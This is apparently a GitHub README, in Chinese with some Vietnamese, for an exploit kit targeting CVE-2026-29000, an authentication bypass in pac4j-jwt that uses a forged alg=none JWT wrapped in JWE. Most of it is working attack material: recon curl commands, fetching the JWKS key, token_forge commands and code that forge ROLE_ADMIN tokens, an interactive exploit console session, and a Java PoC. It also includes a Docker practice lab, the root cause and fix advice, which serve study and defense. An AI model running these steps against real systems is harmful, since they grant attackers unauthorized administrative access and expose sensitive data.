ClayOfGilgamesh/CVE-2026-29000
GitHub: ClayOfGilgamesh/CVE-2026-29000
针对 pac4j-jwt 库 JWE 身份验证绕过漏洞(CVE-2026-29000)的完整利用工具包,涵盖交互式攻击控制台、Python token 伪造库、Java PoC 及 Docker 靶场环境。
Stars: 0 | Forks: 0
# CVE-2026-29000 — pac4j-jwt JWE 身份验证绕过
## 概述
受影响版本的 pac4j-jwt 允许通过构造一个 **PlainJWT** (`alg=none`,无签名) 并将其封装在 **JWE** (JSON Web Encryption) 中的方式,绕过整个 JWT 身份验证机制。在解密 JWE 层之后,库没有对内部 JWT 的算法进行检查——claims 被完全信任,其中包括 role。
**攻击链:**
```
X-Powered-By: pac4j/6.0.3 ← version leak → xác định framework
↓
OIDC Discovery → JWKS → RSA public key ← thông tin công khai
↓
Forge JWE (PlainJWT alg=none, ROLE_ADMIN)
↓
Auth bypass → GET /admin?token= ← truy cập admin panel
↓
Đọc dữ liệu nhạy cảm: employee list, system config, flag
```
## 项目结构
```
CVE-2026-29000/
├── lab/ # Target – Flask app (NexusBank Employee Portal)
│ ├── app.py # Ứng dụng chính có lỗ hổng
│ ├── Dockerfile # Flag baked vào /flag.txt lúc build
│ └── requirements.txt
│
├── token_forge/ # Thư viện Python tạo JWE token giả mạo
│ ├── forge.py # forge_token()
│ ├── jwe_builder.py
│ ├── keys.py
│ ├── claims.py
│ └── cli.py # CLI: python -m token_forge
│
├── scripts/
│ └── exploit.py # Interactive exploit console (Metasploit-style)
│
├── poc/ # Java PoC – xác nhận bypass in-process
│ ├── src/main/java/Poc.java
│ └── pom.xml
│
├── tests/
├── docker-compose.yml
└── requirements.txt
```
## 环境要求
| 工具 | 版本 | 备注 |
|---------|-----------|---------|
| Docker Desktop | 24+ | 运行靶场环境 |
| Docker Compose | v2+ | 集成在 Docker Desktop 中 |
| Python | 3.11+ | 运行 exploit.py 和 token_forge |
| Java + Maven | 11+ | 仅用于 Java PoC |
## 安装说明
### 1. 克隆仓库
```
git clone https://github.com/kernelzeroday/CVE-2026-29000.git
cd CVE-2026-29000
```
### 2. 安装 Python 依赖
```
# Linux / macOS
python -m venv .venv && source .venv/bin/activate
# Windows
python -m venv .venv && .venv\Scripts\activate
pip install -r requirements.txt
```
### 3. 启动靶场
```
docker compose up -d lab
```
确认靶场正在运行:
```
curl -sI http://localhost:8080 | grep X-Powered-By
# X-Powered-By: pac4j/6.0.3
```
### 4. 停止靶场
```
docker compose down
```
## 漏洞利用 — 交互式控制台
`exploit.py` 是一个 Metasploit 风格的交互式控制台。用户需要自行进行侦察以收集信息,然后进行配置和漏洞利用。
```
python scripts/exploit.py
# 或者从 command line 预设:
python scripts/exploit.py --rhost 192.168.1.31 --rport 8080
```
**完整会话示例:**
```
jwe-bypass > set RHOST 192.168.1.31
[+] RHOST => 192.168.1.31
jwe-bypass > check
[*] Checking http://192.168.1.31:8080 ...
[+] HTTP 200
[+] X-Powered-By: pac4j/6.0.3
[+] Target appears VULNERABLE (pac4j detected)
jwe-bypass > set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
[+] PUBKEY => http://192.168.1.31:8080/.well-known/jwks.json
jwe-bypass > run
[1/3] Loading RSA public key ...
[+] Public key loaded
[2/3] Forging JWE token (CVE-2026-29000) ...
[+] Token forged (606 chars)
[3/3] Verifying auth bypass on /api/profile ...
[+] Authenticated as: pwned roles: ['ROLE_ADMIN']
Auth bypass successful!
Open in your browser:
http://192.168.1.31:8080/admin?token=eyJ...
```
在浏览器中打开上述 URL 以进入 admin dashboard。
**PUBKEY 支持 3 种格式:**
```
# 1. JWKS URL — 自动 fetch(推荐)
set PUBKEY http://192.168.1.31:8080/.well-known/jwks.json
# 2. 已下载的 File
set PUBKEY /tmp/key.json
# 3. 直接粘贴 raw JSON
set PUBKEY {"kty":"RSA","n":"...","e":"AQAB"}
```
## 手动漏洞利用(不使用 exploit.py)
### 步骤 1 — 侦察
```
# 通过 response header 检测 framework
curl -sI http://TARGET:8080
# 查找隐藏的 endpoint
curl -s http://TARGET:8080/robots.txt
```
### 步骤 2 — OIDC Discovery → JWKS
```
# RFC 8414: pac4j 总是暴露这个 endpoint
curl -s http://TARGET:8080/.well-known/openid-configuration
# 从 jwks_uri 获取 RSA public key
curl -s http://TARGET:8080/.well-known/jwks.json
```
### 步骤 3 — 伪造 JWE token
```
python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--subject attacker \
--roles ROLE_ADMIN
```
### 步骤 4 — 访问 admin panel
```
TOKEN=$(python -m token_forge \
--jwks-url http://TARGET:8080/.well-known/jwks.json \
--roles ROLE_ADMIN 2>/dev/null)
# 确认 bypass
curl -s -H "Authorization: Bearer $TOKEN" http://TARGET:8080/api/profile
# 在 browser 中打开 admin dashboard
echo "http://TARGET:8080/admin?token=$TOKEN"
```
## 将 token_forge 作为 Python 库使用
```
from token_forge import forge_token, load_public_key_from_jwks_url
key = load_public_key_from_jwks_url("http://TARGET:8080/.well-known/jwks.json")
token = forge_token(key, subject="attacker", roles=["ROLE_ADMIN"], exp_sec=3600)
print(token)
```
## Java PoC(进程内)
使用 Nimbus JOSE + pac4j 6.0.3 在 JVM 中直接确认绕过:
```
cd poc
mvn -q compile exec:java -Dexec.mainClass="Poc"
# [BYPASS] 已认证为:admin#override
# [BYPASS] Roles: [ROLE_ADMIN, ROLE_SUPERUSER]
# 仅打印 token
mvn -q compile exec:java -Dexec.mainClass="Poc" -Dexec.args="--token-only"
```
## 运行测试
```
pytest tests/ -v
# 带有 coverage report
pytest tests/ -v --cov=token_forge --cov-report=term-missing
```
## 漏洞成因
| 位置 | 问题 |
|--------|--------|
| `JwtAuthenticator.validateToken()` | 解密 JWE 后,调用 `PlainJWT.parse()` 而不是 `SignedJWT.parse()` |
| 实验环境中的 `_payload_to_claims()` | 直接进行 `base64decode` + `json.loads`,未验证签名 |
**错误的处理流程:**
```
JWE decrypt → lấy payload → base64decode → json.loads → tin tưởng claims
↑ thiếu bước verify chữ ký JWT bên trong
```
## 修复建议
| 措施 | 详情 |
|-----------|---------|
| 升级 pac4j-jwt | 至 >= 6.3.3 / 5.7.9 / 4.5.9 |
| 拒绝 PlainJWT | 解密 JWE 后检查 `alg != "none"` |
| 移除版本头 | 在生产环境中禁用 `X-Powered-By` |
| 最小权限 | 不要以 root 权限运行容器 |
## 参考资料
- [pac4j 安全公告](https://www.pac4j.org/blog/security-advisory-pac4j-jwt-jwtauthenticator.html)
- [RFC 7516 — JSON Web Encryption](https://datatracker.ietf.org/doc/html/rfc7516)
- [RFC 7519 — JSON Web Token](https://datatracker.ietf.org/doc/html/rfc7519)
- [RFC 8414 — OIDC Discovery](https://datatracker.ietf.org/doc/html/rfc8414)
- [CWE-287 — 不当的身份验证](https://cwe.mitre.org/data/definitions/287.html)
- https://github.com/kernelzeroday/CVE-2026-29000
标签:alg=none, CISA项目, CVE-2026-29000, Flask, JSON Web Encryption, JSON Web Token, JS文件枚举, JWE, JWT, Modbus, OPA, pac4j-jwt, PlainJWT, PoC, Python, Web安全, 代码生成, 伪造Token, 安全漏洞, 提权, 数据展示, 无后门, 暴力破解, 渗透测试工具, 红队, 网络安全, 蓝队分析, 访问控制绕过, 请求拦截, 身份欺骗, 身份验证绕过, 逆向工具, 隐私保护, 靶场